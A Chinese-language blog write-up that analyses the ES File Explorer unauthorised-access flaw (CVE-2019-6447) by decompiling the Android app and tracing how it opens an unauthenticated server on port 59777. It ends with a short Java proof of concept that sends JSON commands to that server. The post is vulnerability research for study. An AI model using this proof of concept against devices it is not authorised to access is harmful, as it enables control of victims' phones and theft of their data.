ES文件浏览器未授权访问漏洞(CVE-2019-6447)具体分析及利用

本文写于2018~2019年间,属于黑历史,于2021年由CSDN迁移博客至此.

漏洞简介

CVE-2019-6447是Android端上的一个知名软件:ES文件浏览器的未授权访问漏洞
漏洞造成原因主要是软件在启动时会创建一个端口为59777的HTTP服务器
并且软件未对HTTP服务器的访问做任何权限检查
从而导致攻击者可利用此漏洞控制受害者的手机

虽然这个洞是在一月份爆出的，那个时候鄙人正在准备考试，所以没有关注。
所以拖到4月底才发现有这个漏洞，因为目前主攻安卓编程，所以对这个漏洞很感兴趣
所以决定现在来分析它

漏洞分析

0x01>POC解析

漏洞的POC已经被发布在github上了，先上去看看poc

poc作者对漏洞的描述就是:软件会在59777端口上开放一个HTTP服务器，可以通过构造特殊payload去请求服务器来完成攻击

接下来看看poc

可以看到poc是利用Python写的,poc作者先引入json和一些网络库后就开始编写利用代码了

execute_cmd函数内传入了三个参数:
addr//ip地址
cmd//控制受害者手机所执行的命令
package//手机软件包名
通过阅读代码可知
poc是通过构造特殊的json数据来命令ES文件浏览器对受害者手机进行一系列操作

0x02>分析漏洞产生原因_服务器建立过程分析

要分析漏洞，首先要下载一个带有漏洞的ES文件浏览器
通过poc作者提供的信息，漏洞在4.1.9.7及以下版本存在

那么我下载一个4.1.9.6版本进行分析
因为没有动态分析工具，所以我选择直接反编译的方法对漏洞进行溯源
（表示分析完漏洞后肝少了一个）
分析工具:Eclipse,Jd-gui,apktool,d2j-dex2jar
不用我多说了吧，先利用dex2jar将软件dex转为jar
利用jd-gui转化为java代码
我先在代码中搜索漏洞利用命令的其中一条:"getDeviceInfo"

发现es/qf.class中包含着漏洞服务器的具体代码

大致浏览一遍
发现com/estrongs/fs/impl/adb/c.class也与漏洞有所相关联
这里先不对这个class文件进行分析,在下文会进行分析

接下来先利用apktool反编译apk的Androidmianfest.xml文件
poc作者说明了：
软件会在启动时在59777端口上建立服务器
那么就要先看看软件入口了
先看xml文件

软件入口在:
com.estrongs.android.pop.app.openscreenad.NewSplashActivity
但通过分析发现
这个类只是对app的ui进行初始化
那么再仔细想想：
再软件启动时就执行的类除了清单文件中指定的入口还有什么？
对了！application属性中指定的name参数

com.estrongs.android.pop.FexApplication
先查看FexApplication类中最先执行的onCreate()方法

可以看到，oncreate方法内先后调用了q,s,r三个方法

经过排查，q()方法是对权限进行检查，r()方法是对ui的初始化
重要的是s()方法

上图中s方法先对sdk进行了一个判断和处理，这不重要，重要的是s方法最终会调用u方法

u方法中程序向下走,最终执行B方法

B方法内的代码让我眼前一亮
它向com.estrong.fs.f类中的a方法传入了两个参数
"adb",com.estrongs.fs.impl.adb.c
其中第二个参数就是我在上文中未分析的c.java文件
通过传入的参数和包名可知
这个c.class文件主要用于处理一些adb相关操作，大致浏览该类,发现还和qf.class文件有着联系
代码已经执行到关键处
那么接下来一些无关紧要的执行全部略过，我们只看程序最终执行到的关键代码

在传入参数后，代码最终执行到com.estrongs.fs.impl.adb.c类
可以大致浏览一下c类,可知此类与adb处理和执行有关

程序最终会将参数传入此类的一个a方法

可以看到在a方法中,程序最终会执行到红线处
启动com.estrongs.android.pop.app.AdbControllerActivity类
并且带上了两个参数
"AdbControllerActivity"，嗯，很有趣的类名，对吧

该类中paramBundle成员变量获取了在c类中执行的adb命令中的向该类传递的adbRemoteIp参数
接着程序对paramBundle进行判断，若值不为空则继续执行
注意！程序在判断通过后执行了qf类的b方法

立刻跟进qf.类中的b方法

该方法会向qf类中的a方法中传入一个为false的布尔值
那么看看qf类的a方法

a方法中paramBoolean参数被传入了false
注意：其中有一句判断

if((f!=null)&&(f.c()))

通过分析,f是一个建立套接字的线程
f.c()方法判断的是这个线程是否死亡
如果线程死亡，paramBoolean会被赋予true值
如果程序正常运行，paramBoolean会被赋予false
程序继续向下执行

接下来的执行的代码会让你兴奋

59777，这个数字是不是很熟悉
没错，就是漏洞服务器打开的端口
那么我们来看看这个参数最终传入到哪里

可知,qf类的paramString参数被传入"/sdcard"
并且qf类的e成员被赋值paramString参数
这没什么问题，对吧
关键是接下来
paramBoolean被赋予false
a被赋值paramBoolean
可是我并没有在qf类中看到有任何名为a的成员
我立刻查看了qf类的开头

qf继承于qi
也就是说qi内所有公共的变量qf都能操作
立刻查看qi类

可以看到qi类内的a修饰了protected
看来我的判断没错
qf类中的false值最终到达qi类
那么这里的protected boolean a=false;有什么用呢
看代码,我在图中做了注释

之前在qf类内传入的int值59777最终被传入到qi类内
最终在qi.a方法中被传入一个线程内

a方法中创建了一个套接字并开始监听59777端口
那么在59777端口上的服务器就建立完成了

可以看到在以上分析过程中程序没有进行任何访问权限的限制

0x03>分析漏洞产生原因_分析对服务器接收请求的处理

分析过poc后我们可以知道漏洞服务器通过处理特定json来返回相应的手机信息
服务器对请求的处理主要在qf.java文件中

代码先判断请求方式
接着对请求进行了一些简单判断，无错后直接进入执行
可以看到这段代码就是一个死循环
并且不断返回paramString1
在对请求进行处理时 程序对命令分析，并根据命令向a方法中传入对应的值，并且将传回的值赋值给变量paramString1并返回，显示在服务器上
那么来看看a方法
我这里直接做了分析和注释
直接看图吧

最终a方法返回了一个json，显示在服务器上
可以看到，在对服务器的请求进行处理时也没有做出任何访问限制
这就是造成漏洞的直接原因

0x04>利用Java构造POC

原理很简单，利用HttpUrlConnection向服务器发送请求就好
这里直接贴代码和截图

	public static void CVE_2019_6447(String command) throws MalformedURLException, IOException, JSONException{
		URL url=new URL("http://127.0.0.1:59777");
		HttpURLConnection http=(HttpURLConnection) url.openConnection();
		http.setRequestMethod("POST");
		http.setDoOutput(true);
		http.setReadTimeout(1000);
		http.addRequestProperty("Content-Type","application/json");
		JSONObject json=new JSONObject();
		json.put("command",command);
		DataOutputStream out=new DataOutputStream(http.getOutputStream());
		out.writeBytes(json.toString());
		System.out.println(json.toString());
		System.out.println(http.getResponseCode());
		BufferedReader br=new BufferedReader(new InputStreamReader(http.getInputStream()));
		String line="";
		while((line=br.readLine())!=null){
			System.out.println(line+"\n");
		}
	}

到这里，分析和利用就正式完成了，虽然技术含量不高，但还是学到了很多东西，还请大佬们多多指点